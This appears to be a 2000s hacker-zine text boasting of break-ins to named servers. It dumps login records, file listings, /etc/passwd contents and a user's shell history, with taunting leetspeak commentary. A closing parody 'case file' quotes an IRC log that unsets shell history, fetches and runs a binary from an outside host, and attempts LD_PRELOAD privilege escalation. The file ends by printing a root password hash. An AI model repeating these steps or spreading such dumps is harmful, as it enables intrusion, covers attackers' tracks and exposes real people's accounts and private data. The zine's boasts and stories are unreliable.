setnf pts/1 200141091211.use Wed Jan 12 19:44 - 21:08 (01:24)
setnf pts/1 200141091211.use Wed Jan 12 18:16 - 18:33 (00:17)
root pts/2 localhost.locald Wed Jan 12 10:54 - 10:54 (00:00)
root pts/2 localhost.locald Wed Jan 12 10:54 - 10:54 (00:00)
root pts/2 localhost.locald Wed Jan 12 10:53 - 10:53 (00:00)
eip pts/1 c-67-177-114-209 Wed Jan 12 09:42 - 15:57 (06:14)
skilar pts/1 12-203-113-61.cl Wed Jan 12 09:26 - 09:41 (00:15)
setnf pts/3 ip160.ffm.de.tra Wed Jan 12 07:42 - 09:25 (01:43)
nutshell pts/2 200.97.66.135 Wed Jan 12 07:13 - 07:49 (00:36)
vile pts/2 66-191-116-223.m Wed Jan 12 05:47 - 06:21 (00:33)
eip pts/1 silenceisdefeat. Wed Jan 12 04:12 - 08:45 (04:32)
setnf pts/1 200141091211.use Tue Jan 11 21:44 - 21:48 (00:03)
setnf pts/4 ip160.ffm.de.tra Tue Jan 11 20:56 - 20:59 (00:03)
setnf pts/4 ip160.ffm.de.tra Tue Jan 11 20:50 - 20:52 (00:01)
setnf pts/3 200141091211.use Tue Jan 11 20:36 - 21:09 (00:33)
setnf pts/2 ip160.ffm.de.tra Tue Jan 11 20:13 - 21:06 (00:52)
setnf pts/1 ip160.ffm.de.tra Tue Jan 11 18:52 - 21:06 (02:13)
setnf pts/1 179250145.rjo.vi Tue Jan 11 18:48 - 18:50 (00:02)
setnf pts/1 ip160.ffm.de.tra Tue Jan 11 18:36 - 18:41 (00:05)
setnf pts/1 ip160.ffm.de.tra Tue Jan 11 18:26 - 18:32 (00:05)
xtix pts/2 h197.88.82.206.i Tue Jan 11 11:53 - 12:13 (00:20)
setnf pts/6 200217144038.use Tue Jan 11 10:03 - 10:34 (00:31)
setnf pts/1 200217136028.use Tue Jan 11 09:48 - 12:01 (02:13)
setnf pts/5 200217110140.use Tue Jan 11 09:38 - 10:07 (00:29)
setnf pts/4 ip160.ffm.de.tra Tue Jan 11 09:16 - 11:45 (02:29)
eip pts/3 silenceisdefeat. Tue Jan 11 09:03 - 13:39 (04:35)
setnf pts/2 200216085237.use Tue Jan 11 08:55 - 11:13 (02:17)
setnf pts/1 200216029144.use Tue Jan 11 05:09 - 09:47 (04:37)
xtix pts/1 h129.160.213.151 Tue Jan 11 04:57 - 05:08 (00:11)
xtix pts/1 h55.93.82.206.ip Mon Jan 10 18:08 - 21:07 (02:58)
eip pts/1 ool-182ffa2d.dyn Mon Jan 10 15:12 - 15:36 (00:24)
xtix pts/1 68.191.24.30 Mon Jan 10 13:02 - 13:02 (00:00)
eip pts/1 c-67-177-114-209 Mon Jan 10 11:11 - 12:18 (01:07)
xtix pts/2 206.82.93.251 Mon Jan 10 09:55 - 14:00 (04:05)
talon pts/2 localhost.locald Mon Jan 10 09:53 - 09:53 (00:00)
root pts/2 localhost.locald Mon Jan 10 09:52 - 09:52 (00:00)
talon pts/0 192.168.0.102 Mon Jan 10 09:51 still logged in
talon pts/0 192.168.0.102 Mon Jan 10 09:51 - 09:51 (00:00)
boxocide pts/1 blk-222-215-246. Mon Jan 10 09:39 - 09:59 (00:19)
setnf pts/1 200217137025.use Mon Jan 10 08:52 - 08:58 (00:06)
root pts/0 192.168.0.102 Mon Jan 10 08:52 - 09:50 (00:58)
reboot system boot 2.4.27-1-k7 Mon Jan 10 08:51 (3+02:49)
h3x4gr4m pts/3 80.233.140.164 Mon Jan 10 07:07 - crash (01:44)
setnf pts/2 200217137025.use Mon Jan 10 06:14 - crash (02:37)
setnf pts/0 200217137025.use Mon Jan 10 05:47 - 07:18 (01:30)
choix pts/4 194.135.226.215 Mon Jan 10 03:51 - 03:59 (00:07)
h3x4gr4m pts/5 80.233.140.164 Mon Jan 10 03:39 - 06:06 (02:27)
choix pts/4 194.135.226.215 Mon Jan 10 03:30 - 03:43 (00:13)
xtix pts/3 h95.91.82.206.ip Mon Jan 10 03:05 - 05:28 (02:22)
root pts/0 dial172.cyberriv Mon Jan 10 02:29 - 05:47 (03:17)
usestric pts/3 82.52.49.139 Sun Jan 9 21:19 - 22:18 (00:58)
setnf pts/2 200217137025.use Sun Jan 9 20:48 - 05:32 (08:43)
nutshell pts/0 201008074105.use Sun Jan 9 20:46 - 21:23 (00:37)
root pts/4 localhost.locald Sun Jan 9 11:59 - 11:59 (00:00)
root pts/4 localhost.locald Sun Jan 9 11:55 - 11:56 (00:00)
vile pts/3 66-188-112-84.ma Sun Jan 9 11:53 - 12:20 (00:26)
xtix pts/2 h153.88.82.206.i Sun Jan 9 11:51 - 16:49 (04:57)
root pts/1 192.168.0.102 Sun Jan 9 11:50 - crash (21:01)
xtix pts/2 h153.88.82.206.i Sun Jan 9 11:49 - 11:50 (00:00)
root pts/2 localhost.locald Sun Jan 9 11:48 - 11:48 (00:00)
vile pts/1 66.188.112.84 Sun Jan 9 11:03 - 11:50 (00:46)
root pts/0 192.168.0.102 Sun Jan 9 10:57 - 20:46 (09:48)
reboot system boot 2.4.27-1-k7 Sun Jan 9 10:57 (4+00:43)
root pts/0 192.168.0.102 Sun Jan 9 10:54 - down (00:00)
reboot system boot 2.4.27-1-k7 Sun Jan 9 10:54 (00:01)
root pts/0 192.168.0.102 Sun Jan 9 10:51 - down (00:01)
reboot system boot 2.4.27-1-k7 Sun Jan 9 10:51 (00:01)
root tty1 Sun Jan 9 10:07 - 10:08 (00:00)
root pts/1 192.168.0.102 Sun Jan 9 10:04 - down (00:44)
root pts/0 192.168.0.102 Sun Jan 9 10:04 - down (00:45)
reboot system boot 2.4.27-1-k7 Sun Jan 9 10:04 (00:45)
root pts/1 192.168.0.102 Sun Jan 9 09:58 - crash (00:06)
root pts/0 192.168.0.102 Sun Jan 9 09:24 - crash (00:40)
reboot system boot 2.4.27-1-k7 Sun Jan 9 09:23 (01:26)
root pts/0 192.168.0.102 Sun Jan 9 09:11 - down (00:10)
reboot system boot 2.4.27-1-k7 Sun Jan 9 09:11 (00:10)
root pts/0 192.168.0.102 Sun Jan 9 09:00 - down (00:09)
reboot system boot 2.4.27-1-k7 Sun Jan 9 08:57 (00:12)
root tty1 Sun Jan 9 08:47 - down (00:09)
reboot system boot 2.4.27-1-k7 Sun Jan 9 03:23 (05:32)
wtmp begins Sun Jan 9 03:23:24 2005
eepz@achilles:~$ locate * |grep home
/home/boxocide/public_html
/home/boxocide/public_html/index.html
/home/choix/public_html
/home/coki/public_html
/home/eip/public_html
/home/eip/public_html/index.html
/home/h3x4gr4m/public_html
/home/setnf/public_html
/home/skilar/public_html
/home/skilar/public_html/index.html
/home/sysbug/public_html
/home/talon/public_html
/home/talon/public_html/afppasswd.c
/home/vile/public_html
/home/xtix/public_html
eepz@achilles:~$ locate *.* |grep home
/home/boxocide/.bash_history
/home/boxocide/.bash_profile
/home/boxocide/.bashrc
/home/boxocide/public_html/index.html
/home/choix/.bash_history
/home/choix/.bash_profile
/home/choix/.bashrc
/home/coki/.bash_history
/home/coki/.bash_profile
/home/coki/.bashrc
/home/eip/.bash_history
/home/eip/.bash_profile
/home/eip/.bashrc
/home/eip/.irssi
/home/eip/.irssi/config
/home/eip/public_html/index.html
/home/h3x4gr4m/.bash_history
/home/h3x4gr4m/.bash_profile
/home/h3x4gr4m/.bashrc
/home/h3x4gr4m/shoutdead.c
/home/nutshell/.bash_history
/home/nutshell/.bash_profile
/home/nutshell/.bashrc
/home/setnf/.bash_history
/home/setnf/.bash_profile
/home/setnf/.bashrc
/home/skilar/.bash_history
/home/skilar/.bash_profile
/home/skilar/.bashrc
/home/skilar/public_html/index.html
/home/sysbug/.bash_history
/home/sysbug/.bash_profile
/home/sysbug/.bashrc
/home/talon/.bash_history
/home/talon/.bash_profile
/home/talon/.bashrc
/home/talon/public_html/afppasswd.c
/home/talon/.ssh
/home/talon/.ssh/known_hosts
/home/vile/.bash_history
/home/vile/.bash_profile
/home/vile/.bashrc
/home/vile/.ssh
/home/vile/.ssh/known_hosts
/home/xtix/.bash_history
/home/xtix/.bash_profile
/home/xtix/.bashrc
/home/xtix/.BitchX
/home/xtix/.BitchX/screens
/home/xtix/.irssi
/home/xtix/.irssi/config
/home/xtix/.ssh
/home/xtix/.ssh/known_hosts
/lib/security/pam_mkhomedir.so
eepz@achilles:~$ locate root
/root
/root/.aptitude
/root/.aptitude/config
/root/.bash_history
/root/.bashrc
/root/.BitchX
/root/.BitchX/screens
/root/.elinks
/root/.elinks/globhist
/root/.elinks/gotohist
/root/.irssi
/root/.irssi/config
/root/.links
/root/.links/bookmarks
/root/.links/links.his
/root/.mc
/root/.mc/cedit
/root/.mc/cedit/cooledit.macros
/root/.mc/filepos
/root/.mc/history
/root/.mc/ini
/root/.mc/Tree
/root/.mysql_history
/root/.nano_history
/root/nmap.log
/root/.profile
/root/sgid.log
/root/.ssh
/root/.ssh/known_hosts
/root/suid.log
/usr/include/linux/root_dev.h
/usr/lib/tiger/doc/rootdir.txt
/usr/lib/tiger/doc/rootkit.txt
/usr/lib/tiger/doc/root.txt
/usr/lib/tiger/html/rootdir.html
/usr/lib/tiger/html/root.html
/usr/lib/tiger/html/rootkit.html
/usr/sbin/rootflags
/usr/share/man/man8/rootflags.8.gz
/usr/X11R6/include/X11/bitmaps/root_weave
eepz@achilles:~$ exit
logout
Connection to achilles.flowsecurity.org closed.
4s y0u c4n s33 th3s3 guyz h4v3 t0nz 0f w4r3z! w4tch 0ut! 4ft3r b0x
w4z rm'd, w3 g3t b4q 1n..
myg0tr0x@csServer:~$ ssh achilles.flowsecurity.org -leepz
The authenticity of host 'achilles.flowsecurity.org (68.191.24.30)' can't be established.
RSA key fingerprint is 37:85:e9:c1:7b:db:59:58:89:28:3d:61:31:eb:ac:e4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'achilles.flowsecurity.org,68.191.24.30' (RSA) to the list of known hosts.
eepz@achilles.flowsecurity.org's password:
***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***
* *
* You have just accessed the private server of gotfault.org and here are some rules. *
* *
* 1. No scanning, dos'ing, crashing, or hacking from this server unless you are testing code or etc. *
* 2. No *trying* or *accessing* any other box or device on this network without permission. *
* 3. No sharing access to this account with any other person except in some cases with GOTFault people. *
* 4. No trying local kernel exploits on this system, we need it as stable as it can be, please. *
* 5. Try to learn something while you are here. Remember, EDUCATION is the KEY! *
* *
* You data is safe from snoopers here, home directories are chmod 700, and this system is quite secure. *
* *
* Server Specifications: *
* *
* OS: Fedora Core 2 *
* Processor: AMD Duron 1.3GHz *
* Memory: 512MB PC133 *
* HD: 20GB *
* Connection: 350kb/50kb *
* *
* <---{ debug++ }---> *
* *
***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***PRIVATE SERVER***
[eepz@achilles /tmp]$ last
setnf pts/1 200217139116.use Sat Jan 15 03:53 still logged in
talon pts/1 localhost.locald Sat Jan 15 03:15 - 03:15 (00:00)
talon pts/1 192.168.0.102 Sat Jan 15 02:19 - 02:46 (00:27)
coki pts/1 ol4-173.fibertel Sat Jan 15 01:20 - 01:21 (00:00)
crash-x pts/1 p508a679c.dip.t- Sat Jan 15 01:13 - 01:15 (00:02)
crash-x pts/1 localhost.locald Sat Jan 15 01:09 - 01:10 (00:00)
talon pts/0 192.168.0.102 Sat Jan 15 01:09 still logged in
root pts/0 192.168.0.102 Sat Jan 15 01:08 - 01:08 (00:00)
root pts/1 localhost.locald Sat Jan 15 01:06 - 01:06 (00:00)
root pts/1 localhost.locald Sat Jan 15 01:05 - 01:05 (00:00)
root pts/1 localhost.locald Sat Jan 15 01:04 - 01:04 (00:00)
root pts/1 localhost.locald Sat Jan 15 01:04 - 01:04 (00:00)
crash-x pts/1 localhost.locald Sat Jan 15 00:53 - 00:53 (00:00)
root pts/0 192.168.0.102 Sat Jan 15 00:52 - 01:08 (00:15)
reboot system boot 2.6.10-1.9_FC2 Sat Jan 15 00:51 (03:40)
root pts/0 192.168.0.102 Sat Jan 15 00:49 - down (00:01)
reboot system boot 2.6.10-1.9_FC2 Sat Jan 15 00:48 (00:02)
root pts/0 192.168.0.102 Sat Jan 15 00:41 - down (00:06)
reboot system boot 2.6.10-1.9_FC2 Sat Jan 15 00:40 (00:07)
root pts/0 192.168.0.102 Fri Jan 14 23:52 - down (00:46)
reboot system boot 2.6.10-1.9_FC2 Fri Jan 14 23:48 (00:50)
root pts/0 192.168.0.102 Fri Jan 14 14:58 - down (00:08)
reboot system boot 2.6.10-1.9_FC2 Fri Jan 14 14:57 (00:09)
root pts/0 192.168.0.102 Fri Jan 14 14:42 - down (00:13)
reboot system boot 2.6.10-1.9_FC2 Fri Jan 14 14:41 (00:14)
root pts/0 192.168.0.102 Fri Jan 14 12:51 - down (01:48)
reboot system boot 2.6.5-1.358 Fri Jan 14 12:50 (01:49)
root pts/1 192.168.0.102 Fri Jan 14 12:26 - crash (00:23)
root pts/0 192.168.0.102 Fri Jan 14 11:45 - crash (01:04)
reboot system boot 2.6.5-1.358 Fri Jan 14 11:44 (02:55)
wtmp begins Fri Jan 14 11:44:15 2005
[eepz@achilles /tmp]$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 2748 528 ? S 00:51 0:01 init [3]
root 2 0.0 0.0 0 0 ? SWN 00:51 0:00 [ksoftirqd/0]
root 3 0.0 0.0 0 0 ? SW< 00:51 0:00 [events/0]
root 4 0.0 0.0 0 0 ? SW< 00:51 0:00 [khelper]
root 19 0.0 0.0 0 0 ? SW< 00:51 0:00 [kblockd/0]
root 27 0.0 0.0 0 0 ? SW 00:51 0:00 [khubd]
root 95 0.0 0.0 0 0 ? SW 00:51 0:00 [pdflush]
root 96 0.0 0.0 0 0 ? SW 00:51 0:00 [pdflush]
root 98 0.0 0.0 0 0 ? SW< 00:51 0:00 [aio/0]
root 97 0.0 0.0 0 0 ? SW 00:51 0:00 [kswapd0]
root 190 0.0 0.0 0 0 ? SW 00:51 0:00 [kseriod]
root 374 0.0 0.0 0 0 ? SW 00:51 0:00 [kjournald]
root 1178 0.0 0.0 0 0 ? SW 00:51 0:00 [kjournald]
root 1958 0.0 0.1 2684 996 ? S 00:52 0:00 /sbin/dhclient -1 -q -lf /var/lib/dhcp/dhclient-eth0.leases -p
root 1996 0.0 0.1 2736 680 ? S 00:52 0:00 syslogd -m 0
root 2000 0.0 0.0 2072 444 ? S 00:52 0:00 klogd -x
root 2198 0.0 1.5 19924 7964 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2205 0.0 1.5 20056 8068 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2206 0.0 1.5 20056 8072 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2207 0.0 1.5 20056 8068 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2208 0.0 1.5 20056 8064 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2209 0.0 1.5 20056 8064 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2210 0.0 1.5 20056 8064 ? S 00:52 0:00 /usr/sbin/httpd -k start
root 2211 0.0 0.0 2580 396 ? S 00:52 0:00 mdadm --monitor --scan
apache 2213 0.0 1.5 20056 8064 ? S 00:52 0:00 /usr/sbin/httpd -k start
apache 2214 0.0 1.5 20212 8144 ? S 00:52 0:00 /usr/sbin/httpd -k start
root 2228 0.0 0.0 2260 412 tty1 S 00:52 0:00 /sbin/mingetty tty1
root 2229 0.0 0.0 2088 416 tty2 S 00:52 0:00 /sbin/mingetty tty2
root 2230 0.0 0.0 1680 416 tty3 S 00:52 0:00 /sbin/mingetty tty3
root 2231 0.0 0.0 2152 416 tty4 S 00:52 0:00 /sbin/mingetty tty4
root 2232 0.0 0.0 2624 416 tty5 S 00:52 0:00 /sbin/mingetty tty5
root 2233 0.0 0.0 1488 416 tty6 S 00:52 0:00 /sbin/mingetty tty6
root 2612 0.0 0.2 5584 1488 ? S 01:08 0:00 /usr/sbin/sshd
root 2655 0.0 0.4 9240 2088 ? S 01:08 0:00 sshd: talon [priv]
talon 2657 0.0 0.4 9388 2292 ? S 01:09 0:05 sshd: talon@pts/0
talon 2658 0.0 0.2 6396 1392 pts/0 S 01:09 0:01 -bash
root 15983 0.0 0.4 9240 2092 ? S 03:53 0:00 sshd: setnf [priv]
setnf 15985 0.0 0.4 9244 2276 ? S 03:53 0:00 sshd: setnf@pts/1
setnf 15986 0.0 0.2 4644 1344 pts/1 S 03:53 0:00 -bash
root 16088 0.0 0.2 5060 1064 pts/1 S 03:56 0:00 su
root 16089 0.0 0.2 5344 1384 pts/1 S 03:56 0:00 bash
[eepz@achilles /tmp]$ exit
logout
Connection to achilles.flowsecurity.org closed.
b0x w4z rm'd y3t 4g41n f0r s0m3 unkn0wn r34s0n, w3 th1nk 1t w4z t4l0n
4nd h1s 0day k3rn4l 3xpl01t. 1f 4ny0n3 c4n st34l th1z 3xpl01t w3
w1ll tr4d3 1t f0r 4n 4ut0gr4ph3d by t4l0n v3rs0n 0f sshbrute.c!!
w1th fl0ws3cur1ty d0wn w3 t00k 4 l00k @ sl4sh3z w4r3z h1d30ut. 4ls0 n0th1ng th3r3.
Wh3n w1ll h4ck3rz st4rt c4r1ng f0r h0no 4nd G3T M0R3 W4R3Z??
myg0tr0x@csServer:~$ ssh allprogramming.net -lslash
The authenticity of host 'allprogramming.net (216.176.66.210)' can't be established.
RSA key fingerprint is 3f:fa:d5:87:eb:24:c3:8d:3c:9d:c3:c7:8b:37:b2:72.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'allprogramming.net,216.176.66.210' (RSA) to the list of known hosts.
Password:
Linux allprogramming.net 2.6.3-1-386 #2 Tue Feb 24 20:20:23 EST 2004 i686 GNU/Linux
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 8 15:42:28 2005 from 127.0.0.1
slash@allprogramming:~$ uname -a
Linux allprogramming.net 2.6.3-1-386 #2 Tue Feb 24 20:20:23 EST 2004 i686 GNU/Linux
slash@allprogramming:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
Debian-exim:x:102:102::/var/spool/exim4:/bin/false
williew:x:1000:1000:williew,,,:/home/williew:/bin/bash
identd:x:100:65534::/var/run/identd:/bin/false
sshd:x:101:65534::/var/run/sshd:/bin/false
apache:x:1001:1001::/home/apache:
mysql:x:1002:1002::/home/mysql:
brandon8:x:1003:1001::/home/brandon8:/bin/bash
dll4lb:x:1004:100::/home/dll4lb:/bin/bash
ftp:x:103:65534::/home/ftp:/bin/false
postfix:x:104:104::/var/spool/postfix:/bin/false
david:x:1006:1004::/home/david:/bin/bash
clamav:x:106:106::/var/lib/clamav:/bin/false
amavis:x:105:107:AMaViS system user,,,:/var/lib/amavis:/bin/sh
tehswearbear:x:1007:1005::/home/tehswearbear:/bin/bash
dovecot:x:108:108:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
slash:x:1008:100::/home/slash:/bin/bash
zz723:x:1009:1008::/home/zz723:/bin/bash
davidjconner:x:1010:100::/home/davidjconner:/bin/bash
wilsonej:x:1011:100::/home/wilsonej:/bin/bash
slash@allprogramming:~$ ls -al
total 28
drwxr-x--- 3 slash apache 4096 Jan 10 01:03 .
drwxrwsr-x 11 root staff 4096 Jan 15 14:38 ..
-rw-r--r-- 1 slash users 704 Jan 1 19:48 .bash_profile
-rw-r--r-- 1 slash users 1290 Jan 1 19:48 .bashrc
-rw------- 1 slash users 768 Jan 10 01:03 .viminfo
drwxr-x--- 2 slash apache 4096 Jan 13 17:10 public_html
-rw-r--r-- 1 slash users 7 Jan 9 18:09 stm
slash@allprogramming:~$ cd public_html/
slash@allprogramming:~/public_html$ ls -al
total 272
drwxr-x--- 2 slash apache 4096 Jan 13 17:10 .
drwxr-x--- 3 slash apache 4096 Jan 10 01:03 ..
-rw-r--r-- 1 slash users 206571 Jan 1 20:08 bh_kitten.jpg
-rw-r--r-- 1 slash users 15038 Jan 7 17:08 exploit.txt
-rw-r--r-- 1 slash users 165 Jan 1 20:07 index.html
-rw-r--r-- 1 slash users 12302 Jan 9 18:52 mpaa.PNG
-rw-r--r-- 1 slash users 19381 Jan 1 21:53 trojan.PNG
slash@allprogramming:~/public_html$ exit
logout
Connection to allprogramming.net closed.
3v3n l3ss w4r3z th4n fl0ws3cur1ty?!? sl4sh, y0u tru3ly 4r3 p4th3t1c.
n3xt 1z th3 1nf4m0us ET, fr0m bugtr4q f4m3.
myg0tr0x@csServer:~$ ssh et@cyberspace.org
The authenticity of host 'cyberspace.org (216.93.104.34)' can't be established.
RSA key fingerprint is 45:59:e2:2a:5c:d6:ae:41:f2:a7:9e:73:62:f1:65:dd.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'cyberspace.org,216.93.104.34' (RSA) to the list of known hosts.
et@cyberspace.org's password:
Last login: Sat Dec 25 18:28:30 2004 from 200.21.99.235
OpenBSD 3.5 (GREX) #2: Sun Dec 19 15:10:32 EST 2004
To see statements of grex principles and limits, look at
http://cyberspace.org/cgi-bin/grex-principles -Grex Statement of Principles
http://cyberspace.org/cgi-bin/grex-limit -Grex Limits
Results of Board election: Dave Cahill (dpc), Joe Gelinas (gelinas), and
Steve Van Loon (vanloons) were elected. See item 207 in the Coop conference
for election data. -jhr
You have mail.
WARNING: Your mailbox is 99% full.
If it reachs 100%, you will no longer be able to receive mail.
-bash-2.05b$ ls -al
total 666
drwx--x--x 4 et people 1024 Dec 25 18:28 .
drwxr-xr-x 8 root daemon 512 Dec 25 16:29 ..
-rw-r--r-- 1 et people 0 Jun 22 1998 .addressbook
-rw-r--r-- 1 et people 2285 Jun 22 1998 .addressbook.lu
-rw------- 1 et people 200 Dec 25 18:30 .bash_history
-rw-r--r-- 1 et people 778 Jun 19 1998 .cfonce
-rw-r--r-- 1 et people 26 Sep 29 2002 .forward.bak
-rw-r--r-- 1 et people 1245 Jun 19 1998 .mailrc
-rw-r--r-- 1 et people 7812 Dec 9 19:14 .pine-interrupted-mail
-rw-r--r-- 1 et people 10361 Dec 25 18:28 .pinerc
-rw-r--r-- 1 et people 10358 Sep 30 2002 .pinerc.spam
-rw------- 1 et people 138 Jun 19 1998 .plan
-rw-r--r-- 1 et people 1460 Sep 30 2002 .procmailrc.bak
-rw-r--r-- 1 et people 619 Dec 28 13:51 .profile
-rwx------ 1 et people 20992 Jun 20 2004 ETverificacion.doc
-rwx------ 1 et people 46849 Oct 25 2003 FWIMP.doc.gz
drwx------ 2 et people 512 Sep 30 2002 Procmail
-rwx------ 1 et people 50688 Oct 10 2003 curriculumresumido.doc
-rw------- 1 et people 2272 Dec 9 19:09 dead.letter
-rwx------ 1 et people 1063 Oct 1 2003 e_-.key
-rwx------ 1 et people 1094 Nov 13 2003 et_-.key
-rwx------ 1 et people 6648 Jul 28 2003 exp.txt
-rwx------ 1 et people 35158 Dec 9 2003 expertasinformatica.jpg
-rwx------ 1 et people 610 Jan 22 2004 h.htm
-rwx------ 1 et people 6634 May 6 2003 http_Module.pl
drwx------ 2 et people 512 Dec 28 2002 mail
-rwx------ 1 et people 50184 Sep 9 2003 torres.pdf
-rwx------ 1 et people 64183 Oct 21 2003 y.jpg
-bash-2.05b$
-bash-2.05b$ cat .bash_history
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine -i
pine 'i
pine -i
pine ginacast77@hotmail.com
pine
exit
pine -i
pine 'i
pine -i
-bash-2.05b$ exit
w0w, wh4t 4 l00s3r. n0 w4r3z! h3lp h0no h4ck, s3nd w4r3z t0
dvdman@l33tsecurity.org (w3 4r3 st1ll sn1ff1ng 1t).
24.txt-~-~-~ case of the missing scene whore
There are 100328 users on the network. This is one of them.
I got assigned the case of the missing scene whore 3 weeks
ago. It was to be an easy case, h0no was my lead suspect.
But I failed to understand how difficult it would be to
gather enough factual evidence on this 'h0no crew' to make
anything stick. While nothing hard was ever found, I'll
let you decide who's behind the case of "the death of a
scene whore".
By afternoon on Friday December 3rd the department got word.
h0no supposily rm'd bx's home directory on just about every
shell he used. The cheif stormed into my office and handed
me a single blank sheet of paper.
I asked "what is this?", to which he replied
"Our information on this 'team h0no'".
"And what do you want me to do with it?".
"Fill it out" he said with a smile.
December 6th, after checking the departments ftp for new
warez I went online and posted to alt.news.hackers, also as
a standard infosec case I emailed bmc to get him to dig up
some info on this h0no group.
20 minutes later I noticed there was dozens apon dozens of
responces to my usenet posting. Most posts were people
telling of how they got owned by h0no after visiting #darknet,
but there was two interesting posts. The first, by a french
professor at a hacker accadamy.
-~-~-~
from: dr frogger
subject: Re: h0no rux
h3llo. I would like to say, if I may, that I respect h0no.
I would not post anything I think they would offend to. But
I did hear that they often go over to random CDC members
homes and hold them at gun point while they hack directly
from their line.
-~-~-~
The next, an email from an anonymous rely. This one seemed
fairly trustworthy. I collected it as facts.
-~-~-~
from: anonymous paradox
subject: Re: h0no rux
I ssh'd into this random guy on efnet's box and through
password guessing I got in. I noticed after downloading
just over 3 gigabytes of 0day animal porn that h0no
already beat me to this box, and that they were emailing
ehap with my wget logs ;( For this rloxley has been after
my mpegz like some coked up junkie. I swore revenge and
proceeded to wget -r packetstorm. After 17 weeks I was
able to compile a few random things. Lucky for me, one
of these tools allowed me to view a section of the hard
disk that was hidden from the file system. In that area
I found this! Please use it to track these fuckers! I am
pretty sure they deleted my porn!! Also, if you can pls
get me a job as a professional narc. thx
-~-~-~
The attached passwored .zip.tar.gz.bz2.7v file contained the
following file:
-~-~-~
h4h4 guyz, w3 g0t th1s 0ff 0f nolife'z sh3ll. ch3ck 0ut bx's
stup1d1ty!
bx exploiting unitedshells:
bx loaded the 0day ldpreload exploit own.so.
It will change the getuid calls to return 0 and whuup you are root.
04.07.04 06:00 <core>: unset HISTFILE;unset HISTSAVE;unset HISTSIZE
04.07.04 06:00 <core>: w
04.07.04 06:00 <core>: cd public_html/
04.07.04 06:00 <core>: wget http://vtex.dyndns.org/bx/bin/bx
04.07.04 06:00 <core>: chmod +x bx
04.07.04 06:01 <core>: mv bx psybnc
04.07.04 06:01 <core>: ./psybnc
04.07.04 06:01 <core>: gcc -shared -o /tmp/own.so /tmp/own.c;
rm -f /tmp/own.c
04.07.04 06:01 <core>: LD_PRELOAD=/tmp/own.so /bin/sh
04.07.04 06:01 <root?>: id
04.07.04 06:01 <root?>: unset HISTFILE
04.07.04 06:01 <root?>: unset HISTSIZE
04.07.04 06:01 <root?>: unset HISTSAVE
04.07.04 06:02 <root?>: ls -l /home/nolife
04.07.04 06:02 <root?>: pwd
04.07.04 06:02 <root?>: ls -l /home/root
04.07.04 06:02 <root?>: ls -l /root
04.07.04 06:02 <root?>:
04.07.04 06:02 <core>: ls
04.07.04 06:02 <core>: rm -rf psybnc
04.07.04 06:02 <core>: w
Alright, expecting a preloaded library to give root from /bin/sh is
stupid. Searching the root home directory in /home/ does not even
need any more comments.
I guess most people noticed that /tmp/own.so is still there and still
got uid and gid of the user "core"
-~-~-~
Now this might not seem to be much info, but with this information
I then knew that h0no had indeed owned unitedshells. On tuesday
December 7th, After a supena and some forensics, I found that h0no
left one clue to their hack. It was a simple binary file of bx's
which they modified, I guess, to laugh at bx's coding ability. From
the forensics done on this file we found that the binary would login
to bx's blossom.servergirl.net account, rm his new mail and then
post the same email message over and over in a never ending loop.
This email message went as follows:
-~-~-~
bx suckz, h0no rux. close your fist and inject it up anus.
-~-~-~
After this we interviewed another shell network operator, isabella.
She provided some interesting facts into the disapearance of bx.
She said bx had been in fear of his shells getting rm'd. isabella
was emailed a log from the h0no team threating that if she ever gave
bx a shell again, the whole box would be rm'd. The logs were
subpoenaed.
-~-~-~
h0no@L0C4lB0X $ ssh www.sigurime.org -lroot
warning: Remote server talks SSH-1.5 protocol.
Host key not found from database.
Key fingerprint:
xozag-fonaf-locig-tunyn-vodos-fyluz-rygaf-lebik-pyver-napad-voxix
You can get a public key's fingerprint by running
(OpenVMS) $ multinet sshkeygen /ssh2 /fingerprint=publickey.pub
(UNIX): % ssh-keygen -F publickey.pub
on the keyfile.
Are you sure you want to continue connecting (yes/no)? yes
Host key saved to L0C4LB0X$DKA100:[USERS.H0N0.SSH2.HOSTKEYS]KEY_22_WWW_SIGUR
IME_ORG.PUB
host key for www.sigurime.org, accepted by H0N0 Fri Dec 15 2004 11:14:35
root's password:
[root@sigurime:/root]# grep 'plz d0nt hurt m3 h0no' .bash_history
[root@sigurime:/root]# grep ':$1' shadow
root:$1$hu/jkFt3$KAI7rRamZyNeRCdpYXBir/:12058:0:99999:7:::
